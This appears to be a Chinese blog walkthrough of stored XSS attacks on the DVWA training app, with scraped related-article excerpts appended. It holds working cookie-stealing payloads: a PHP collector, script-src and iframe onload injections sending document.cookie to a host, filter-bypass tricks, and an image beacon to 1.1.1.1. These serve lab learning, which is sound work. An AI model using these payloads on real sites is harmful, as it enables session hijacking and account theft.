【DVWA(五)】XXS存储型攻击


XSS存储型跨站攻击(Stored Cross Site Scripting)

前言:

相较于XSS反射型跨站攻击,存储型具有更严重的危害,如果在窃取信息的同时对网页没有任何变化,那受害者将很难发现。

如果我有写的不太明白的地方,可以先看看之前XSS反射型跨站攻击的随笔


low:

1.观察:

测试输入模式,有两个输入框,经测试,都有输入限制,这个限制用网页查看器很容易解决,我给改成了1000,其实不改也可以,就是在message里输入payload也可以的;

2.输入:

alert测试

<script>alert("test")</script>

3.刷新:

此时已经将有攻击的脚本数据传到数据库了,刷新之后就会弹出alert,触发xss!
这就是存储型XSS攻击的厉害之处了,只要任何人访问此网址,都会触发,因此比反射型更加严重!
现在clear掉数据库信息,开始正式进行攻击。

4.php代码:

在www里新建php文件,用于偷取cookie:

<?php

$cookie=$_GET[‘cookie‘];
file_put_contents(‘get_low_dvwa_cookie.txt‘,$cookie);

?>

5.构造JS代码:

这次采取与反射型不同的方式,不在输入框里直接输入js代码段,而是在www下写脚本文件,然后利用标签加载网址对应的js代码
新建JS文件steal.js:

<script>
document.location=‘http://127.0.0.1/get_low_dvwa_cookie.php?cookie=‘+document.cookie
</script>

6.XSS攻击加载JS代码:

构造payload:

name:<script src="http://127.0.0.1/steal.js"></script>

message:steal

提交之后可以看见,界面跳转了,说明攻击成功

6.隐蔽:

现在攻击成功,但是跳转界面容易让用户怀疑,所以进一步调整,尽量隐蔽,能够不引起直观变化的情况下进行攻击获取cookie。
利用ajax,在不刷新的情况下偷取cookie!挖坑XD


medium:

用大小写组合,绕过对于<script>的处理:

<SCRIPT>
<scr<script>ipt>

接下来和low一样了。其实这里跟反射型的XSS大同小异。


high:

1.用alert尝试

不行

2.用大小写组合尝试

不行

3.换标签

用 <iframe onload=alert("test")> 测试,可行!

4.构造payload:

name:<iframe onload=document.location=‘http://127.0.0.1/get_low_dvwa_cookie.php?cookie=‘+document.cookie>

message:steal

成功!


impossible:

暂时依旧无解


后记

因为是存储型,所以测试的时候会出现,一直跳转的情况,所以在后台把记录删掉就好了。

然后是合天网安相关部分的两个思考:

1)反射型跨站和存储型跨站的区别和利用方法的不同?

反射型是偏向实时的,点对点的最有效,把链接发送给某个人,这样最好了;然后存储型是大范围撒网,一旦形成了攻击,存进了数据库,就有大把的数据了!

2)如何结合CSRF漏洞攻击?

暂时还没搞这部分,留坑

原文地址:https://www.cnblogs.com/wayne-tao/p/11079859.html

时间: 2024-11-08 09:04:22

【DVWA(五)】XXS存储型攻击的相关文章

DVWA系统之21 存储型XSS分析与利用

存储型跨站可以将XSS语句直接写入到数据库中,因而相比反射型跨站的利用价值要更大. 在DVWA中选择XSS stored,这里提供了一个类型留言本的页面. 我们首先查看low级别的代码,这里提供了$message和$name两个变量,分别用于接收用户在Message和Name框中所提交的数据.对这两个变量都通过mysql_real_escape_string()函数进行了过滤,但是这只能阻止SQL注入漏洞. 可以看出,在low级别下,Name和Message这两个文本框都存在跨站漏洞,但是由于D

【安全牛学员笔记】存储型XSS和BEEF浏览器攻击框架

存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js></script> a.js源码 var img = new Image(); img.src = "http://1.1.1.1:88/cookies.php?cookie="+documnet.cookie; [email protected]:~# netstat

小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留言板等位置 *推荐使用burpsuite a.观察返回结果,是否原封不动地返回输入数据?是否有其他标签 js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗 b.测试加载攻击者控制的服务器中的js文件 #启动apache2[默认侦听80端口] a.js [盗取客户端cooki

exp2:// 一次存储型XSS从易到难的挖掘过程

一日在某站点发现一个找茬活动,感觉是另类的src就参与了一下.就发生了这次有趣的XSS测试过程. 0×00 开始 (注意1)XSS不仅存在于页面上直观所在的位置,所有用户输入的信息都有可能通过不同形式返回到页面上,因此直接操作数据包来查找XSS显得更加有效. 回到该站点,在该站点一处生成app处存在一处忘记过滤. 发送的数据包如下: appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd

存储型xss调研

概念 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行. 常见的xss攻击方法 1. 绕过XSS-Filter,利用<>标签注入Html/JavaScript代码: 2. 利用HTML标签的属性值进行xss攻击.例如:<img src="javascript:alert('xss')"/>:(当然并不是所有的Web浏览器都支持Javascr

Java Web开发 - 持久型/存储型XSS漏洞

1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是为了跟层叠样式表(Cascading Style Sheets,CSS)区别. 2.XSS漏洞攻击的原理 恶意攻击者往web页面中插入恶意HTML代码,当用户浏览该web页面时,嵌入到该web页面的恶意HTML代码就会被执行,从而达到恶意攻击用户的特殊目的. XSS漏洞又分为两类,一类是持久型/存储型XSS,另一类是反射型XSS: 1)持久型/

一次解决存储型xss和csrf漏洞的简单方法

目前我知道的,存储型xss解决方法:过滤转义用户输入的脚本.标签,csrf漏洞解决方法:校验referer.加token.加验证码 而referer校验是针对存在referer的情况,因为某些请求的head里没有referer,这时不能判断请求是非法的:加token,保存在哪是个问题,如果保存在session中,当集群部署时,session不同步会导致客户端的token与处理请求的服务器的token不一致:加验证码同样的道理,而且对用户体验非常不好. 由于xss和csrf都是改变用户请求参数来达

WordPress &lt;4.1.2 &amp; &lt;=4.2 存储型xss(利用mysql对特殊字符和超长字符会进行截断的特性)

转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一种为数据库字段长度截断,该漏洞导致攻击者可获取用户 cookie以及模拟浏览器正常操作,并且当管理员访问到注入的payload时,结合wordpress后台功能甚至可以getshell. 漏洞分析 1.字符截断 通过官网介绍“The character set named utf8 uses a m

DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)

下载链接 https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1 留言处存储型XSS 漏洞在content/guestbook/index.php function create() { echo 123; global $db,$request; if ($_SESSION['verifycode'] != $request['checkcode']) { echo '<script>alert("请正确填写验证码!&qu